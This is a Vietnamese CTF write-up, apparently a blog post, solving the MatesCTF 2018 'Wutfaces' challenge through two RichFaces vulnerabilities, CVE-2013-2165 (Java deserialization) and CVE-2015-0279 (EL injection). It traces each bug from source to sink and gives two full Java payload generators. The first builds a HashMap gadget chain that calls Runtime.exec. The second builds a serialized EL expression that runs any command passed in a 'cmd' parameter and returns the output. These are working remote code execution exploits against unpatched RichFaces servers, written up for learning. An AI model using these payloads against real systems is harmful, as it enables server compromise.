MatesCTF 2018 Wutfaces


Set up
Source của bài mọi người có thể lấy tại đây : https://firebasestorage.googleapis.com/v0/b/blog-resources-3df04.appspot.com/o/ctf_wutfaces_resources.zip?alt=media&token=041ca951-b2fc-4dc9-a8e9-484639cff28d
Bài này mình dựng lại trên tomcat 9.0.5. Mọi người unzip file trên vào \webapps rồi add debug là ok.
Tổng quan
Bài này tuy đã có từ lâu và cũng đã có wu trên mạng nhưng mình vẫn quyết định viết để note lại những gì mình đã học, làm được khi giải bài này.
Ta có thể thấy trong classpath của bài này có sử dụng thư viện richfaces v4.3.2.RichFaces là một trong những thư viện thành phần phổ biến nhất cho JavaServer Faces (JSF) - là một framework để xây dựng giao diện người dùng cho các ứng dụng web.
Search google sẽ thấy thư viện này dính CVE-2013-2165: Arbitrary Java Deserialization in RichFaces 3.x ≤ 3.3.3 and 4.x ≤ 4.3.2 và CVE-2015-0279: Arbitrary EL Evaluation in RichFaces 4.x ≤ 4.5.3.
Và cũng đã có các bài nghiên cứu về các CVE này trước đấy:
- https://codewhitesec.blogspot.com/2018/05/poor-richfaces.html+
- https://web.archive.org/web/20190501081357/https://tint0.com/when-el-injection-meets-java-deserialization/
- https://www.slideshare.net/slideshow/a-little-bit-about-code-injection-in-webapplication-frameworks-cve201814667-h2hc-2018/122410397
1st Solution CVE-2013-2165: Arbitrary Java Deserialization
Link commit bản vá cho lỗ hổng này : https://github.com/richfaces4/core/commit/12ee1166f04806b3ba072d27f9a9b3b3feae2ec9
ở bản vá, method Util.decodeObjectData
đã được thêm cơ chế look-ahead deserialization
Cơ chế bảo mật này giúp ta có thể kiểm soát được class nào cho phép khôi phục trong quá trình deserialization bằng whitelist.
Như vậy ta có thể thấy ở bản lỗi trước khi in.readObject()
không tồn tại một cơ chế nào để kiểm soát đầu vào tức nếu ta có thể kiểm soát được biến encodedData
thì ta có thể thực hiện deser bất kì class nào có trong classpath.
Theo codewhitesec thì serialized objects sẽ được truyền vào thông qua param do
sau đó org.richfaces.resource.DefaultCodecResourceRequestData
sẽ xử lý để lấy resource trước khi tới decodeObjectData()
.
quan sát response khi trả về ta thấy phía frontend có gọi tới endpoint /wutfaces/rfRes/skinning.ecss.jsf?db=eAHjW!XqPQAE!QKS
để lấy về file css
Ta send lại request tới endpoint trên với param do
vì đây là param để xử lý Java serialized object stream và đặt breakpoint tại DefaultCodecResourceRequestData.getData()
để trace.
từ stack frame ta thấy resource ta truyền vào sau khi đi qua FacesServlet
sẽ được ResouceHandlerImpl.handleResourceRequest()
xử lý.
từ đây tiếp tục lấy resourcePath
từ /rfRes/
trở đi
sau đó lấy data
tức là serialized data mà ta muốn lấy từ param do
tiếp theo gọi tới ResourceFactoryImpl.createResource()
để tiến hành decode data
và lấy object bằng cách gọi tiếp tới DefaultCodecResourceRequestData.getData()
.
Như vậy ta đã có được source và sink của lỗ hổng này.
Tiếp theo là phần xây dựng gadget:
Bài này tác giả có cho chúng ta class com.tint0.wutfaces.BookHolder
như sau:
method hashCode
gọi tới Runtime.getRuntime().exec()
. Như vậy ta có thể dùng reflection để thay đổi giá trị của field LOG_COMMAND
để có thể thực thi được os command tùy ý.
Còn để gọi được method hashCode
trên thì ta có thể sử dụng một phần của chain URLDNS
bằng cách sử dụng method Hashmap.put()
-> Hashmap.key()
-> key.Hashcode
.
ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
com.tint0.wutfaces.BookHolder.hashCode()
Payload
package com.tint0.wutfaces;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.zip.Deflater;
import javax.faces.FacesException;
import org.ajax4jsf.util.base64.Codec;
public class main {
private static final Codec CODEC = new Codec();
public static String encodeBytesData(byte[] data) {
if (data != null) {
try {
byte[] dataArray = encrypt(data);
return new String(dataArray, "ISO-8859-1");
} catch (Exception var2) {
System.out.println("Error encode resource data");
}
}
return null;
}
public static String encodeObjectData(Object data) {
if (data != null) {
try {
ByteArrayOutputStream dataStream = new ByteArrayOutputStream(1024);
ObjectOutputStream objStream = new ObjectOutputStream(dataStream);
objStream.writeObject(data);
objStream.flush();
objStream.close();
dataStream.close();
return encodeBytesData(dataStream.toByteArray());
} catch (Exception var3) {
System.out.println("Error encode resource data");
}
}
return null;
}
public static byte[] encrypt(byte[] src) {
try {
Deflater compressor = new Deflater(1);
byte[] compressed = new byte[src.length + 100];
compressor.setInput(src);
compressor.finish();
int totalOut = compressor.deflate(compressed);
byte[] zipsrc = new byte[totalOut];
System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
compressor.end();
return CODEC.encode(zipsrc);
} catch (Exception var5) {
Exception e = var5;
throw new FacesException("Error encode resource data", e);
}
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
BookHolder bh = new BookHolder();
Class cls = bh.getClass();
Field log_cmd = cls.getDeclaredField("LOG_COMMAND");
log_cmd.setAccessible(true);
log_cmd.set(bh, "calc");
HashMap hm = new HashMap();
hm.put(bh, bh); // gadget kinh dien goi toi Object.hashCode()
System.out.println(encodeObjectData(hm));
}
}
2nd solution CVE-2015-0279 EL injection
Link diff: https://github.com/richfaces/richfaces/commit/4c5ddae4d6ddcea591fa949762c1c79ac11cac99
Tại bản vá method MediaOutputResource.encode()
đã được thêm một đoạn check ExpressionString
xem có tồn tại các kí tự mở ngoặc (
không nếu có sẽ throw ra lỗi luôn.
Như vậy ta có thể đoán được rằng contentProducer.invoke()
hay method invoke
của một class nào đó implements MethodExpression
chính là nơi chứa sink của lỗ hổng. Nếu ta có thể kiểm soát được ExpressionString tức biến expr
của class này ta có thể thực thi một biểu thức el bất kỳ tùy ý.
Theo như report của người tìm ra lỗi này https://web.archive.org/web/20190719112928/https://issues.jboss.org/browse/RF-13977 thì resource mà ta cần request ở đây là org.richfaces.resource.MediaOutputResource.jsf
Đặt breakpoint tại MediaOutputResource.encode()
để trace ngược lại.
method này được gọi từ ResourceHandlerImpl.handleResourceRequest()
sau khi kiểm tra resource
của ta có phải là instance của ContentProducerResource
. [1]
Quay trở lại chỗ khởi tạo resource
tức là hàm ResourceFactoryImpl.createResource()
mà ta đã nói ở solution trước. Sau khi deserialize data và lấy được state object, richfaces sẽ tiến hành restore lại object này và state của nó.
tại Util.restoreResourceState()
sẽ kiểm tra resource
có phải là instance của StateHolder
rồi gọi tới stateHolder.restoreState()
ở đây là MediaOutputResource.restoreState
state obj của ta cũng cần phải là instance của StateHolderSaver
và trả về StateHolderSaver.savedState
[2]
Như vậy tại đây tiến hành restore lại trạng thái (state) của resource MediaOutputResource
bằng cách lấy object mà ta deserialize được ở trên và gán cho 5 giá trị như trên trong đó có contentProducer
mà ta cần quan tâm như ban đầu đã nói. [3]
Tiếp tục [1], như vậy sau khi khởi tạo được biến resource
và trải qua các bước set response header thì ta cũng đã tới được contentProducerResource.encode()
line 177 tức MediaOutputResource.encode()
Và cuối cùng gọi tới MethodExpressionImpl.invoke()
để inject el thông qua biến expr
[4]
Payload
- Như vậy data của ta cần truyền vào phải là một mảng object với 5 phần tử tương ứng với 5 giá trị tại theo [3]
- Phần tử thứ 4 phải là instance của
StateHolderSaver
và thuộc tínhsavedState
phải là classMethodExpressionImpl
theo [2] - El inject thông qua
expr
củaMethodExpressionImpl
theo [4]
package com.tint0.wutfaces;
import javax.faces.component.StateHolderSaver;
import org.ajax4jsf.util.base64.Codec;
import javax.faces.FacesException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.zip.Deflater;
import org.apache.el.MethodExpressionImpl;
import org.apache.el.lang.*;
public class main1 {
private static final Codec CODEC = new Codec();
public static String encodeBytesData(byte[] data) {
if (data != null) {
try {
byte[] dataArray = encrypt(data);
return new String(dataArray, "ISO-8859-1");
} catch (Exception var2) {
System.out.println("Error encode resource data");
}
}
return null;
}
public static String encodeObjectData(Object data) {
if (data != null) {
try {
ByteArrayOutputStream dataStream = new ByteArrayOutputStream(1024);
ObjectOutputStream objStream = new ObjectOutputStream(dataStream);
objStream.writeObject(data);
objStream.flush();
objStream.close();
dataStream.close();
return encodeBytesData(dataStream.toByteArray());
} catch (Exception var3) {
System.out.println("Error encode resource data");
}
}
return null;
}
public static byte[] encrypt(byte[] src) {
try {
Deflater compressor = new Deflater(1);
byte[] compressed = new byte[src.length + 100];
compressor.setInput(src);
compressor.finish();
int totalOut = compressor.deflate(compressed);
byte[] zipsrc = new byte[totalOut];
System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
compressor.end();
return CODEC.encode(zipsrc);
} catch (Exception var5) {
Exception e = var5;
throw new FacesException("Error encode resource data", e);
}
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
boolean isCacheable = false;
String el = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"calc\")}";
String el_echo = "#{facesContext.externalContext.response.setContentType(request.getClass().getClassLoader().loadClass(\"java.util.Scanner\").getConstructor(request.getClass().getClassLoader().loadClass(\"java.io.InputStream\")).newInstance(request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(request.getParameter(\"cmd\")).getInputStream()).useDelimiter(\"\\\\A\").next())}";
VariableMapperImpl vmi = new VariableMapperImpl();
MethodExpressionImpl mei = new MethodExpressionImpl();
Field expr = mei.getClass().getDeclaredField("expr");
Field varmapper = mei.getClass().getDeclaredField("varMapper");
expr.setAccessible(true);
varmapper.setAccessible(true);
expr.set(mei,el_echo);
varmapper.set(mei,vmi);
StateHolderSaver shs = new StateHolderSaver();
Field savedState = shs.getClass().getDeclaredField("savedState");
savedState.setAccessible(true);
savedState.set(shs,mei);
Object[] state = new Object[]{
isCacheable, // [0] isCacheable
null, // [1] ContentType
null, // [2] userData
shs, // [3] contentProducer
null // [4] filename
};
System.out.println(encodeObjectData(state));
}
}
Subscribe to my newsletter
Read articles from gumgum directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
